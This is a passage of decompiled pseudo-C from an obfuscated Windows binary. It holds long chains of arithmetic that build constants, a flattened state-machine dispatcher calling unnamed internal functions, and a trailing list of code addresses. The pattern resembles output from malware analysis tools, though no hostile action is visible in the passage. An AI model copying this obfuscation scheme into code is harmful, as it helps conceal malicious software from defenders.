				_v512 = _v512 | 0x35af6ec2;
				_v512 = _v512 * 0x53;
				_v512 = _v512 ^ 0x67eb8694;
				_v212 = 0xb915;
				_v212 = _v212 ^ 0x948b0e88;
				_v212 = _v212 ^ 0x9486ad8a;
				_v356 = 0x63bb5f;
				_v356 = _v356 ^ 0x436200ea;
				_t1243 = 0x7e;
				_v356 = _v356 * 0x76;
				_v356 = _v356 ^ 0xe2c785b3;
				_v324 = 0x6c06d7;
				_v324 = _v324 >> 0xa;
				_v324 = _v324 / _t1243;
				_v324 = _v324 ^ 0x000b64e8;
				_v308 = 0xca3f81;
				_v308 = _v308 >> 2;
				_v308 = _v308 >> 0xc;
				_v308 = _v308 ^ 0x00092fdc;
				_v360 = 0xbfd72b;
				_v360 = _v360 ^ 0xff3a0c39;
				_v360 = _v360 << 9;
				_v360 = _v360 ^ 0x0bb3b832;
				_v240 = 0x9d6f80;
				_v240 = _v240 / _t1349;
				_v240 = _v240 ^ 0x000c7437;
				_v588 = 0x113401;
				_t1244 = 0x61;
				_v588 = _v588 * 0x24;
				_v588 = _v588 / _t1244;
				_v588 = _v588 ^ 0x0003e589;
				_v384 = 0x4b8860;
				_v384 = _v384 << 0xf;
				_v384 = _v384 << 1;
				_v384 = _v384 ^ 0x8868048a;
				_v264 = 0x29020a;
				_t1245 = 0x11;
				_v264 = _v264 * 0x21;
				_v264 = _v264 ^ 0x0542f97f;
				_v468 = 0xb6b72b;
				_v468 = _v468 + 0xffff5632;
				_v468 = _v468 >> 0xb;
				_v468 = _v468 + 0x2f7e;
				_v468 = _v468 ^ 0x00028262;
				_v460 = 0x54f239;
				_v460 = _v460 << 6;
				_v460 = _v460 + 0xfffffbb9;
				_v460 = _v460 ^ 0x82d4ff03;
				_v460 = _v460 ^ 0x97e5d5b5;
				_v140 = 0x985261;
				_v140 = _v140 + 0xffff0c59;
				_v140 = _v140 ^ 0x00972a82;
				_v500 = 0x518a2c;
				_v500 = _v500 / _t1245;
				_v500 = _v500 + 0x702a;
				_v500 = _v500 << 0xd;
				_v500 = _v500 ^ 0xa785771e;
				_v368 = 0x521baf;
				_v368 = _v368 * 0x25;
				_v368 = _v368 | 0x64d0e33c;
				_v368 = _v368 ^ 0x6fdd3e6d;
				_v436 = 0x35d7cb;
				_v436 = _v436 * 0x6d;
				_v436 = _v436 | 0xabb542e6;
				_v436 = _v436 + 0xd249;
				_v436 = _v436 ^ 0xbff7fb1b;
				_v292 = 0xcdcade;
				_v292 = _v292 | 0x43b684fa;
				_v292 = _v292 ^ 0x43f66b05;
				_v160 = 0x58e408;
				_v160 = _v160 | 0x368c4477;
				_v160 = _v160 ^ 0x36d34ac8;
				_v304 = 0x7c84d1;
				_t1246 = 0x47;
				_v304 = _v304 / _t1246;
				_v304 = _v304 + 0xffff9796;
				_v304 = _v304 ^ 0x000bb16e;
				_v216 = 0xc36bed;
				_v216 = _v216 + 0xd97;
				_v216 = _v216 ^ 0x00c2e969;
				_v476 = 0xa7b7c7;
				_v476 = _v476 << 6;
				_v476 = _v476 + 0x6c6c;
				_v476 = _v476 >> 5;
				_v476 = _v476 ^ 0x0140bd2d;
				_v520 = 0xf3ea92;
				_v520 = _v520 + 0xffff847d;
				_t1247 = 0x3c;
				_v520 = _v520 * 0x69;
				_v520 = _v520 / _t1247;
				_v520 = _v520 ^ 0x01a2bdb3;
				_v440 = 0x637ee1;
				_v440 = _v440 + 0xffff9b2b;
				_v440 = _v440 ^ 0xed5600a5;
				_v440 = _v440 + 0xbbcd;
				_v440 = _v440 ^ 0xed38855c;
				_v316 = 0xd359ff;
				_t1248 = 0x12;
				_v316 = _v316 / _t1248;
				_t1249 = 0x2c;
				_v316 = _v316 / _t1249;
				_v316 = _v316 ^ 0x000bd707;
				_v404 = 0xe9d10;
				_v404 = _v404 + 0x8531;
				_v404 = _v404 << 7;
				_v404 = _v404 ^ 0x0799698e;
				_v568 = 0x4b0a43;
				_t313 =  &_v568; // 0x4b0a43
				_t1250 = 0x2f;
				_v568 =  *_t313 * 0x38;
				_v568 = _v568 + 0xffffdc5e;
				_v568 = _v568 ^ 0x149a11d4;
				_v568 = _v568 ^ 0x04f7f7c0;
				_v268 = 0xc0e06b;
				_v268 = _v268 / _t1250;
				_v268 = _v268 ^ 0x000b86b0;
				_v496 = 0xf422ea;
				_v496 = _v496 + 0xfffff2eb;
				_v496 = _v496 >> 7;
				_v496 = _v496 + 0xa1f8;
				_v496 = _v496 ^ 0x0008b42f;
				_v188 = 0x553f6c;
				_v188 = _v188 | 0x678376e9;
				_v188 = _v188 ^ 0x67d882bd;
				_v396 = 0x923886;
				_t1251 = 5;
				_v396 = _v396 / _t1251;
				_v396 = _v396 + 0x9c46;
				_v396 = _v396 ^ 0x00120a3e;
				_v560 = 0x9fec96;
				_v560 = _v560 | 0x622a8444;
				_v560 = _v560 ^ 0x99c5ba67;
				_v560 = _v560 >> 0xd;
				_v560 = _v560 ^ 0x0000fc9d;
				_v128 = 0xf88125;
				_v128 = _v128 << 0x10;
				_v128 = _v128 ^ 0x812bf008;
				_v552 = 0xcb4f6a;
				_v552 = _v552 / _t1349;
				_v552 = _v552 + 0xffff6d2e;
				_v552 = _v552 | 0x89619965;
				_v552 = _v552 ^ 0x8962c3cc;
				_v432 = 0xf978ba;
				_v432 = _v432 + 0xffffa816;
				_v432 = _v432 ^ 0x2094ddcc;
				_v432 = _v432 >> 0xa;
				_v432 = _v432 ^ 0x0007c0c7;
				_v488 = 0xcf9f95;
				_v488 = _v488 ^ 0xbf36e5e7;
				_t1252 = 0x58;
				_v488 = _v488 * 0x2a;
				_v488 = _v488 + 0xffff2176;
				_v488 = _v488 ^ 0x7ee684ba;
				_v388 = 0x12fb7d;
				_v388 = _v388 * 0x4d;
				_v388 = _v388 >> 3;
				_v388 = _v388 ^ 0x00bf9b98;
				_v340 = 0x796913;
				_v340 = _v340 + 0xac69;
				_v340 = _v340 * 0x61;
				_v340 = _v340 ^ 0x2e401a56;
				_v328 = 0x91b64e;
				_v328 = _v328 / _t1252;
				_v328 = _v328 ^ 0x35ed1920;
				_v328 = _v328 ^ 0x35e14498;
				_v320 = 0xcfff90;
				_v320 = _v320 + 0x6092;
				_v320 = _v320 + 0xffff7281;
				_v320 = _v320 ^ 0x00c5b6f7;
				_v452 = 0xef9f32;
				_v452 = _v452 | 0xbd38e664;
				_v452 = _v452 + 0xf2b8;
				_v452 = _v452 | 0x10bd091b;
				_v452 = _v452 ^ 0xbeb9595a;
				_v192 = 0x21f349;
				_t1253 = 0x54;
				_v192 = _v192 / _t1253;
				_v192 = _v192 ^ 0x000688f1;
				_v200 = 0xc0b775;
				_v200 = _v200 << 0xb;
				_v200 = _v200 ^ 0x05bf80fb;
				_v376 = 0x690522;
				_v376 = _v376 + 0xffffeeed;
				_v376 = _v376 ^ 0x86395638;
				_v376 = _v376 ^ 0x865332bb;
				_v248 = 0x6656fd;
				_v248 = _v248 | 0x17cebcd9;
				_v248 = _v248 ^ 0x17e231ad;
				_v256 = 0x5a882f;
				_v256 = _v256 + 0xffff43e8;
				_v256 = _v256 ^ 0x005beeea;
				_v176 = 0x5696cd;
				_v176 = _v176 >> 0xb;
				_v176 = _v176 ^ 0x000c4c16;
				_v456 = 0xda330b;
				_v456 = _v456 + 0xffff846d;
				_v456 = _v456 + 0x61bd;
				_v456 = _v456 | 0x00ba29dc;
				_v456 = _v456 ^ 0x00ff632b;
				_v380 = 0xd1e147;
				_v380 = _v380 >> 6;
				_v380 = _v380 << 0xd;
				_v380 = _v380 ^ 0x68f0e02b;
				_v180 = 0x3ff1d9;
				_t1254 = 0x33;
				_v180 = _v180 / _t1254;
				_v180 = _v180 ^ 0x00023228;
				_v344 = 0xf4edb4;
				_v344 = _v344 << 0xd;
				_v344 = _v344 | 0x97e14590;
				_v344 = _v344 ^ 0x9ff7325a;
				_v484 = 0x6c4a81;
				_v484 = _v484 | 0xfdca8d1b;
				_v484 = _v484 >> 0x10;
				_v484 = _v484 << 0xf;
				_v484 = _v484 ^ 0x7effa9ca;
				_v596 = 0xdabff7;
				_v596 = _v596 + 0x73c4;
				_v596 = _v596 << 7;
				_v596 = _v596 | 0xfa5794d9;
				_v596 = _v596 ^ 0xffd249eb;
				_v424 = 0x540103;
				_v424 = _v424 ^ 0xa382819c;
				_v424 = _v424 | 0xb091fb68;
				_v424 = _v424 ^ 0xb3d56d76;
				_v156 = 0x8c7fe9;
				_v156 = _v156 + 0xffff3974;
				_v156 = _v156 ^ 0x008ef74c;
				_v420 = 0xfd2cd1;
				_v420 = _v420 >> 0xc;
				_v420 = _v420 ^ 0xe3610dc2;
				_v420 = _v420 ^ 0xe3634cc2;
				_v504 = 0xf0e4f4;
				_v504 = _v504 + 0xb6ec;
				_v504 = _v504 ^ 0x32429e81;
				_v504 = _v504 + 0xadf2;
				_v504 = _v504 ^ 0x32bc4899;
				_v276 = 0x5de68b;
				_v276 = _v276 + 0x1902;
				_v276 = _v276 ^ 0x005cfb2b;
				_v464 = 0x5cdad0;
				_v464 = _v464 << 2;
				_v464 = _v464 + 0x27c3;
				_v464 = _v464 ^ 0xfe85190a;
				_v464 = _v464 ^ 0xfff0056f;
				_v576 = 0x5bf2e0;
				_v576 = _v576 << 9;
				_v576 = _v576 + 0x6474;
				_v576 = _v576 << 6;
				_v576 = _v576 ^ 0xf98a1109;
				_v260 = 0xe6f5fe;
				_t1255 = 0x45;
				_v260 = _v260 / _t1255;
				_v260 = _v260 ^ 0x0003b47a;
				_v416 = 0x364d66;
				_v416 = _v416 << 9;
				_v416 = _v416 ^ 0x871fcbcc;
				_v416 = _v416 ^ 0xeb871ae9;
				_v152 = 0xded983;
				_v152 = _v152 + 0x4b0f;
				_v152 = _v152 ^ 0x00df80d2;
				_v448 = 0xc5cd59;
				_v448 = _v448 + 0xffff44a9;
				_v448 = _v448 | 0xe64c83cc;
				_t1256 = 0x74;
				_v448 = _v448 / _t1256;
				_v448 = _v448 ^ 0x01f904de;
				_v592 = 0x675892;
				_v592 = _v592 | 0xbe4f77c4;
				_v592 = _v592 + 0xffffac99;
				_v592 = _v592 ^ 0xb6dae313;
				_v592 = _v592 ^ 0x08b8aa9c;
				_v288 = 0xc30099;
				_v288 = _v288 >> 0x10;
				_v288 = _v288 + 0xe193;
				_v288 = _v288 ^ 0x000c0ea3;
				_v136 = 0xcb6e43;
				_v136 = _v136 ^ 0xb95a6532;
				_v136 = _v136 ^ 0xb99574cc;
				_v204 = 0xfd67d3;
				_v204 = _v204 + 0xbcdb;
				_v204 = _v204 ^ 0x00f4c5c9;
				_v564 = 0x58b287;
				_t1257 = 0x19;
				_v564 = _v564 * 0x70;
				_v564 = _v564 + 0x3be8;
				_v564 = _v564 * 0x25;
				_v564 = _v564 ^ 0x9bd3e329;
				_v148 = 0x1d248b;
				_v148 = _v148 + 0x6f6a;
				_v148 = _v148 ^ 0x00153086;
				_v572 = 0xf52f4c;
				_v572 = _v572 / _t1257;
				_v572 = _v572 + 0xab35;
				_t1258 = 0xc;
				_v572 = _v572 / _t1258;
				_v572 = _v572 ^ 0x00067d12;
				_v580 = 0xf5bae7;
				_v580 = _v580 | 0x5cf7bfbf;
				_v580 = _v580 * 0x7e;
				_v580 = _v580 ^ 0xc1ff09fa;
				_v408 = 0x6a02f0;
				_v408 = _v408 + 0xffff43b7;
				_v408 = _v408 >> 7;
				_v408 = _v408 ^ 0x000eaeb8;
				_v532 = 0xe5ed81;
				_v532 = _v532 >> 0x10;
				_v532 = _v532 >> 8;
				_v532 = _v532 ^ 0x299daec3;
				_v532 = _v532 ^ 0x299c8334;
				_v540 = 0x73bd6d;
				_v540 = _v540 + 0x3999;
				_v540 = _v540 ^ 0x4d3fe297;
				_v540 = _v540 + 0xbeb4;
				_v540 = _v540 ^ 0x4d4b6113;
				_v280 = 0xf78be9;
				_v280 = _v280 + 0xffff2e4a;
				_v280 = _v280 ^ 0x00f6eff7;
				_v168 = 0x4a6296;
				_v168 = _v168 >> 8;
				_v168 = _v168 ^ 0x0006c563;
				_v444 = 0x52befb;
				_v444 = _v444 | 0xfb460347;
				_v444 = _v444 * 0x57;
				_v444 = _v444 << 8;
				_v444 = _v444 ^ 0x7b329ced;
				_v364 = 0x8bf6d0;
				_t1259 = 0x49;
				_v364 = _v364 / _t1259;
				_v364 = _v364 | 0xd55b2da9;
				_v364 = _v364 ^ 0xd551e475;
				_v472 = 0x18acd0;
				_v472 = _v472 + 0xffff7fc7;
				_v472 = _v472 + 0xffff0e44;
				_v472 = _v472 + 0xffff0bff;
				_v472 = _v472 ^ 0x001d017a;
				_v144 = 0x4fd139;
				_v144 = _v144 ^ 0x0d7608f8;
				_v144 = _v144 ^ 0x0d3e01c7;
				_v220 = 0xa1d89d;
				_v220 = _v220 + 0x68ba;
				_v220 = _v220 ^ 0x00a8b60a;
				_v224 = 0xd8ad63;
				_t1260 = 0x39;
				_v224 = _v224 * 0xd;
				_v224 = _v224 ^ 0x0b05e067;
				_v232 = 0x1dd59e;
				_v232 = _v232 + 0xffffb984;
				_v232 = _v232 ^ 0x0014d7c8;
				_v492 = 0x8ee343;
				_v492 = _v492 + 0xfffffdd7;
				_v492 = _v492 * 0x50;
				_v492 = _v492 + 0xffff20fb;
				_v492 = _v492 ^ 0x2ca84503;
				_v352 = 0xb8f26f;
				_v352 = _v352 + 0x7ba8;
				_v352 = _v352 >> 6;
				_v352 = _v352 ^ 0x000b39f4;
				_v536 = 0x43cba6;
				_v536 = _v536 + 0xffff968b;
				_v536 = _v536 + 0xd20d;
				_v536 = _v536 << 1;
				_v536 = _v536 ^ 0x00836c5a;
				_v480 = 0x5e5d26;
				_v480 = _v480 + 0xffff687f;
				_v480 = _v480 ^ 0xddceb38b;
				_v480 = _v480 | 0x4dfd19e7;
				_v480 = _v480 ^ 0xddf7d232;
				_v236 = 0x7bb6bb;
				_v236 = _v236 << 0xa;
				_v236 = _v236 ^ 0xeeda4ae1;
				_v332 = 0xdbd532;
				_v332 = _v332 / _t1260;
				_v332 = _v332 + 0x6f41;
				_v332 = _v332 ^ 0x000f8c93;
				_v172 = 0x169d2;
				_v172 = _v172 << 1;
				_v172 = _v172 ^ 0x000bb064;
				_v228 = 0xc8a619;
				_t1261 = 0x51;
				_v228 = _v228 / _t1261;
				_v228 = _v228 ^ 0x000b224e;
				_v296 = 0xf4bcd8;
				_v296 = _v296 + 0xffffb281;
				_v296 = _v296 + 0xffff612f;
				_v296 = _v296 ^ 0x00ff5067;
				_v428 = 0x3c482c;
				_t832 =  &_v428; // 0x3c482c
				_v428 =  *_t832 * 0x2f;
				_v428 = _v428 + 0xffff6f9d;
				_v428 = _v428 | 0x8da675c7;
				_v428 = _v428 ^ 0x8fb5367e;
				_v164 = 0x73eaaf;
				_t1262 = 0x7b;
				_v164 = _v164 / _t1262;
				_v164 = _v164 ^ 0x013494eb;
				_v508 = 0xaea7a7;
				_v508 = _v508 + 0xffffad05;
				_v508 = _v508 | 0x2fb01782;
				_v508 = _v508 + 0xdf59;
				_v508 = _v508 ^ 0x2fbf1017;
				_v348 = 0x6a0001;
				_v348 = _v348 >> 8;
				_t1263 = 0x1e;
				_t1350 = _v292;
				_t1240 = _v292;
				_v348 = _v348 * 0x56;
				_v348 = _v348 ^ 0x00239c01;
				_v312 = 0x718fb1;
				_v312 = _v312 ^ 0x0a0922bb;
				_v312 = _v312 + 0xffff9da2;
				_v312 = _v312 ^ 0x0a78450c;
				_v184 = 0xbc43da;
				_v184 = _v184 | 0x65dbfe97;
				_v184 = _v184 ^ 0x65ffe09f;
				_v584 = 0x19ebc;
				_v584 = _v584 << 0xd;
				_v584 = _v584 * 0x6e;
				_v584 = _v584 | 0x20e1f71e;
				_v584 = _v584 ^ 0x66f44cbe;
				_v556 = 0x102963;
				_v556 = _v556 << 1;
				_v556 = _v556 + 0xffff27ea;
				_v556 = _v556 >> 8;
				_v556 = _v556 ^ 0x000da4da;
				_v412 = 0x8d39f9;
				_v412 = _v412 ^ 0x304d710d;
				_v412 = _v412 + 0x1676;
				_v412 = _v412 ^ 0x30ceab4a;
				_v548 = 0xb36dd5;
				_v548 = _v548 << 1;
				_v548 = _v548 + 0xffff009c;
				_v548 = _v548 ^ 0xc2df1814;
				_v548 = _v548 ^ 0xc3b43072;
				_v400 = 0x83e780;
				_v400 = _v400 / _t1263;
				_v400 = _v400 + 0xffff5fe0;
				_v400 = _v400 ^ 0x0003b045;
				_v392 = 0xcc2700;
				_v392 = _v392 + 0x6318;
				_t1264 = 0x50;
				_v392 = _v392 / _t1264;
				_v392 = _v392 ^ 0x000264e6;
				goto L1;
				do {
					while(1) {
						L1:
						_t1388 = _t1353 - 0x9625c26;
						if(_t1388 > 0) {
							break;
						}
						if(_t1388 == 0) {
							_t1161 = E00F9645F( &_v92, _v596, _v424, _v156, _v420,  &_v108);
							_t1383 = _t1383 + 0x10;
							asm("sbb esi, esi");
							_t1353 = ( ~_t1161 & 0xf38ca8a6) + 0xf16eb84;
							continue;
						}
						_t1389 = _t1353 - 0x5085634;
						if(_t1389 > 0) {
							__eflags = _t1353 - 0x743bbd3;
							if(__eflags > 0) {
								__eflags = _t1353 - 0x7d9812c;
								if(_t1353 == 0x7d9812c) {
									__eflags = E00F9E7DA();
									if(__eflags == 0) {
										_t1165 = E00F9902C();
										asm("sbb esi, esi");
										_t1353 = ( ~_t1165 & 0xfa09740f) + 0xc68510e;
										continue;
									}
									_t1167 = E00F9902C();
									asm("sbb esi, esi");
									_t1369 =  ~_t1167 & 0xfa79cff4;
									L53:
									_t1353 = _t1369 + 0xd96f0c7;
									continue;
								}
								__eflags = _t1353 - 0x810c0bb;
								if(_t1353 == 0x810c0bb) {
									_t1167 = E00F81DF9();
									asm("sbb esi, esi");
									_t1369 =  ~_t1167 & 0xf771656d;
									__eflags = _t1369;
									goto L53;
								}
								__eflags = _t1353 - 0x8d7d650;
								if(_t1353 == 0x8d7d650) {
									_t1167 = E00F9C772();
									L114:
									return _t1167;
								}
								__eflags = _t1353 - 0x94a2b75;
								if(_t1353 != 0x94a2b75) {
									goto L109;
								}
								_t1278 = _v364;
								_t1167 = E00F8F699(_t1278, _v100, _v472, _v144, _v220);
								_t1383 = _t1383 + 0xc;
								_t1353 = 0xf16eb84;
								continue;
							}
							if(__eflags == 0) {
								_t1167 = _v164;
								_t1353 = 0xc313b49;
								_v76 = _t1167;
								continue;
							}
							__eflags = _t1353 - 0x50ec05a;
							if(_t1353 == 0x50ec05a) {
								_t1167 = E00F82176();
								_t1353 = 0x24c641b;
								continue;
							}
							__eflags = _t1353 - 0x5c746ce;
							if(_t1353 == 0x5c746ce) {
								_t1167 = E00F92DE9(_t1278);
								goto L114;
							}
							__eflags = _t1353 - 0x671c51d;
							if(_t1353 == 0x671c51d) {
								_t1167 = E00FA2D4F();
								_t1353 = 0xc68510e;
								continue;
							}
							__eflags = _t1353 - 0x6e9da8a;
							if(_t1353 != 0x6e9da8a) {
								goto L109;
							}
							_t1167 = E00F956A9();
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0xbae568e;
							continue;
						}
						if(_t1389 == 0) {
							_t1167 = E00F8B12E(_v436, _v292, _v160, _v304);
							goto L114;
						}
						_t1390 = _t1353 - 0x411ce06;
						if(_t1390 > 0) {
							__eflags = _t1353 - 0x414ffd1;
							if(_t1353 == 0x414ffd1) {
								__eflags = _t1350 - _v244;
								if(_t1350 == _v244) {
									L35:
									_t1353 = _t1240;
									goto L109;
								}
								_t1167 = E00FA37B6(_v480, _v236, _v332, _v172, E00F9D4AE(), _t1350);
								_t1383 = _t1383 + 0x10;
								__eflags = _t1167 - _v132;
								if(__eflags == 0) {
									_t1167 = E00F96B91();
									goto L35;
								}
								_t1353 = 0x5c746ce;
								continue;
							}
							__eflags = _t1353 - 0x4c34997;
							if(_t1353 == 0x4c34997) {
								_t1167 = E00F8635F();
								_v72 = _t1167;
								_t1353 = 0x411ce06;
								continue;
							}
							__eflags = _t1353 - 0x4c43855;
							if(_t1353 == 0x4c43855) {
								_t1167 = E00F93ABE();
								_t1353 = 0xbc300ba;
								continue;
							}
							__eflags = _t1353 - 0x4ea5811;
							if(__eflags != 0) {
								goto L109;
							}
							_t1167 = E00FA0BF1(__eflags);
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0x15a9200;
							continue;
						}
						if(_t1390 == 0) {
							_t1167 = E00FA27E2();
							_v44 = _t1167;
							_t1353 = 0x743bbd3;
							continue;
						}
						if(_t1353 == 0x15a9200) {
							_t1167 = E00F8F022();
							_t1353 = 0xf17c585;
							continue;
						}
						if(_t1353 == 0x24c641b) {
							_v116 = E00F98518(_v316, _v404, __eflags,  &_v112, _v568, 0xf81000);
							_v124 = E00F98518(_v268, _v496, __eflags,  &_v120, _v188, 0xf81060);
							_t1197 = E00F85DC3(_v396,  &_v116, _v560,  &_v124);
							asm("sbb esi, esi");
							_t1353 = ( ~_t1197 & 0x01f8303b) + 0xda639e1;
							E00F92EED(_v128, _v552, _v432, _v124);
							_t1167 = E00F92EED(_v488, _v388, _v340, _v116);
							_t1383 = _t1383 + 0x30;
							goto L109;
						}
						if(_t1353 == 0x2a3942a) {
							_t1167 = E00F94DC5(_v276, _v464, _v348, E00F9D4AE(),  &_v108,  &_v100, _v576);
							_t1383 = _t1383 + 0x14;
							asm("sbb esi, esi");
							_t1353 = ( ~_t1167 & 0x000968d2) + 0x2a3942a;
							continue;
						}
						if(_t1353 != 0x2acfcfc) {
							goto L109;
						}
						_t1204 = E00F8597D( &_v40, _v260,  &_v100, _v416);
						_pop(_t1278);
						if(_t1204 != 0) {
							_t1167 = _v8;
							__eflags = _t1167 - 8;
							if(__eflags != 0) {
								__eflags = _t1167;
								if(__eflags == 0) {
									L18:
									_t1353 = 0xabc2d6d;
									continue;
								}
								__eflags = _t1167 - 1;
								if(__eflags != 0) {
									L13:
									_t1353 = 0x94a2b75;
									continue;
								}
								goto L18;
							}
							_t1353 = 0x8d7d650;
							continue;
						}
						_push(_t1278);
						_push(_v584);
						_push(_t1278);
						_t1278 = _v412;
						_t1167 = E00F92CCF(_t1278, _t1278);
						_t1383 = _t1383 + 0x10;
						_t1350 = _t1167;
						_t1240 = 0xe75263b;
						goto L13;
					}
					__eflags = _t1353 - 0xc68510e;
					if(__eflags > 0) {
						__eflags = _t1353 - 0xf17c585;
						if(__eflags > 0) {
							__eflags = _t1353 - 0xf2d358e;
							if(_t1353 == 0xf2d358e) {
								_t1157 = E00F9902C();
								__eflags = _t1157;
								if(_t1157 == 0) {
									_t1167 = E00F83E3B();
								}
								_t1353 = 0x94a2b75;
								goto L109;
							}
							__eflags = _t1353 - 0xf885e3b;
							if(__eflags == 0) {
								_v92 = E00F87A75();
								_t1353 = 0x4c34997;
								goto L1;
							}
							__eflags = _t1353 - 0xf9e6a1c;
							if(_t1353 != 0xf9e6a1c) {
								goto L109;
							}
							E00F860BA();
							_t1240 = 0xc2716a1;
							_push(_t1278);
							_push(_v312);
							_push(_t1278);
							_t1278 = _v184;
							_t1167 = E00F92CCF(_t1278, _t1278);
							_t1383 = _t1383 + 0x10;
							_t1350 = _t1167;
							L95:
							_t1353 = 0x414ffd1;
							goto L1;
						}
						if(__eflags == 0) {
							_t1167 = E00F88112();
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0xa4cd57e;
							goto L1;
						}
						__eflags = _t1353 - 0xce7cb5b;
						if(_t1353 == 0xce7cb5b) {
							E00F989DA();
							_t1167 = E00F9902C();
							asm("sbb esi, esi");
							_t1353 = ( ~_t1167 & 0xf901379b) + 0xbc300ba;
							goto L1;
						}
						__eflags = _t1353 - 0xd96f0c7;
						if(_t1353 == 0xd96f0c7) {
							_t1167 = E00F9AEAE();
							_t1353 = 0x50ec05a;
							goto L1;
						}
						__eflags = _t1353 - 0xe75263b;
						if(_t1353 == 0xe75263b) {
							_t1167 = E00F975E9(_v344, _v484,  &_v52);
							_pop(_t1278);
							_t1353 = 0x9625c26;
							goto L1;
						}
						__eflags = _t1353 - 0xf16eb84;
						if(_t1353 != 0xf16eb84) {
							goto L109;
						}
						_t1278 = _v224;
						_t1167 = E00F8F699(_t1278, _v108, _v232, _v492, _v352);
						_t1383 = _t1383 + 0xc;
						goto L95;
					}
					if(__eflags == 0) {
						_t1167 = E00F9C145();
						_t1353 = 0xb042b16;
						goto L1;
					}
					__eflags = _t1353 - 0xbae568e;
					if(__eflags > 0) {
						__eflags = _t1353 - 0xbc300ba;
						if(_t1353 == 0xbc300ba) {
							_t1167 = E00F9CE94();
							_t1353 = 0x5085634;
							goto L1;
						}
						__eflags = _t1353 - 0xc2716a1;
						if(_t1353 == 0xc2716a1) {
							_v68 = E00F95B73();
							_t1167 = E00F94268(_v248, _v256, _t1216);
							_pop(_t1278);
							_v64 = _t1167;
							_t1353 = 0xf885e3b;
							goto L1;
						}
						__eflags = _t1353 - 0xc313b49;
						if(__eflags == 0) {
							_t1167 = _v508;
							_t1353 = 0xe75263b;
							_v88 = _t1167;
							goto L1;
						}
						__eflags = _t1353 - 0xc58f524;
						if(_t1353 != 0xc58f524) {
							goto L109;
						}
						_t1167 = E00F88D59();
						__eflags = _t1167;
						if(__eflags == 0) {
							goto L114;
						}
						_t1353 = 0xce7cb5b;
						goto L1;
					}
					if(__eflags == 0) {
						_t1167 = E00F8196D();
						asm("sbb esi, esi");
						_t1353 = ( ~_t1167 & 0x032aa9ea) + 0x7d9812c;
						goto L1;
					}
					__eflags = _t1353 - 0xa4cd57e;
					if(_t1353 == 0xa4cd57e) {
						_t1167 = E00F860BA();
						__eflags = _t1167;
						if(__eflags == 0) {
							goto L114;
						}
						_t1353 = 0x6e9da8a;
						goto L1;
					}
					__eflags = _t1353 - 0xaa07b46;
					if(__eflags == 0) {
						_t1353 = 0x4ea5811;
						goto L1;
					}
					__eflags = _t1353 - 0xabc2d6d;
					if(_t1353 == 0xabc2d6d) {
						_t1167 = E00F839C3(_v136,  &_v32);
						_pop(_t1278);
						__eflags = _t1167;
						if(__eflags == 0) {
							_t1167 = _v8;
							__eflags = _t1167;
							if(_t1167 == 0) {
								_push(_t1278);
								_push(_v556);
								_push(_t1278);
								_t1278 = _v548;
								_t1350 = E00F92CCF(_t1278, _t1278);
								_t1383 = _t1383 + 0x10;
								_t1167 = _v8;
							}
							__eflags = _t1167 - 1;
							if(__eflags == 0) {
								_push(_t1278);
								_push(_v400);
								_push(_t1278);
								_t1278 = _v392;
								_t1167 = E00F92CCF(_t1278, _t1278);
								_t1383 = _t1383 + 0x10;
								_t1350 = _t1167;
							}
						} else {
							_t1350 = _v196;
						}
						_t1240 = 0xe75263b;
						_t1353 = 0xf2d358e;
						goto L1;
					}
					__eflags = _t1353 - 0xb042b16;
					if(_t1353 != 0xb042b16) {
						goto L109;
					}
					_t1167 = E00F9BA18();
					_t1353 = 0xc58f524;
					goto L1;
					L109:
					__eflags = _t1353 - 0xda639e1;
				} while (__eflags != 0);
				goto L114;
			}

0x00f991fd
0x00f99207
0x00f99214
0x00f9921f
0x00f9922a
0x00f99235
0x00f99240
0x00f9924b
0x00f99256
0x00f9925d
0x00f99268
0x00f99270
0x00f99278
0x00f99280
0x00f99288
0x00f99290
0x00f9929b
0x00f992a6
0x00f992b1
0x00f992bc
0x00f992c7
0x00f992d2
0x00f992dd
0x00f992e8
0x00f992f3
0x00f992fe
0x00f99309
0x00f99311
0x00f9931c
0x00f9932f
0x00f99336
0x00f99344
0x00f99349
0x00f99352
0x00f9935d
0x00f99369
0x00f9936c
0x00f99370
0x00f99378
0x00f9937d
0x00f99385
0x00f9938d
0x00f99392
0x00f9939a
0x00f993a2
0x00f993aa
0x00f993b5
0x00f993c8
0x00f993cf
0x00f993da
0x00f993e5
0x00f993ed
0x00f993f8
0x00f99400
0x00f99405
0x00f9940d
0x00f99415
0x00f9941d
0x00f99425
0x00f9942a
0x00f99437
0x00f9943b
0x00f99443
0x00f9944e
0x00f99459
0x00f99464
0x00f9946f
0x00f99486
0x00f99489
0x00f99490
0x00f9949b
0x00f994a6
0x00f994b9
0x00f994c0
0x00f994cb
0x00f994d6
0x00f994de
0x00f994e6
0x00f994f1
0x00f994fc
0x00f99507
0x00f9950f
0x00f9951a
0x00f99530
0x00f99537
0x00f99542
0x00f99557
0x00f9955a
0x00f99566
0x00f9956a
0x00f99572
0x00f9957d
0x00f99585
0x00f9958c
0x00f99597
0x00f995aa
0x00f995ab
0x00f995b2
0x00f995bd
0x00f995c8
0x00f995d3
0x00f995db
0x00f995e6
0x00f995f1
0x00f995fc
0x00f99604
0x00f9960f
0x00f9961a
0x00f99625
0x00f99630
0x00f9963b
0x00f99646
0x00f99654
0x00f99658
0x00f99660
0x00f99665
0x00f9966d
0x00f99680
0x00f99687
0x00f99692
0x00f9969d
0x00f996b0
0x00f996b7
0x00f996c2
0x00f996cd
0x00f996d8
0x00f996e3
0x00f996f0
0x00f996fb
0x00f99706
0x00f99711
0x00f9971c
0x00f99730
0x00f99735
0x00f9973e
0x00f99749
0x00f99754
0x00f9975f
0x00f9976a
0x00f99775
0x00f99780
0x00f99788
0x00f99793
0x00f9979b
0x00f997a6
0x00f997ae
0x00f997bb
0x00f997be
0x00f997ca
0x00f997ce
0x00f997d6
0x00f997e1
0x00f997ec
0x00f997f7
0x00f99802
0x00f9980d
0x00f9981f
0x00f99824
0x00f99834
0x00f99839
0x00f99842
0x00f9984d
0x00f99858
0x00f99863
0x00f9986b
0x00f99876
0x00f9987e
0x00f99883
0x00f99884
0x00f99888
0x00f99890
0x00f99898
0x00f998a0
0x00f998b4
0x00f998bb
0x00f998c6
0x00f998ce
0x00f998d6
0x00f998db
0x00f998e3
0x00f998eb
0x00f998f6
0x00f99901
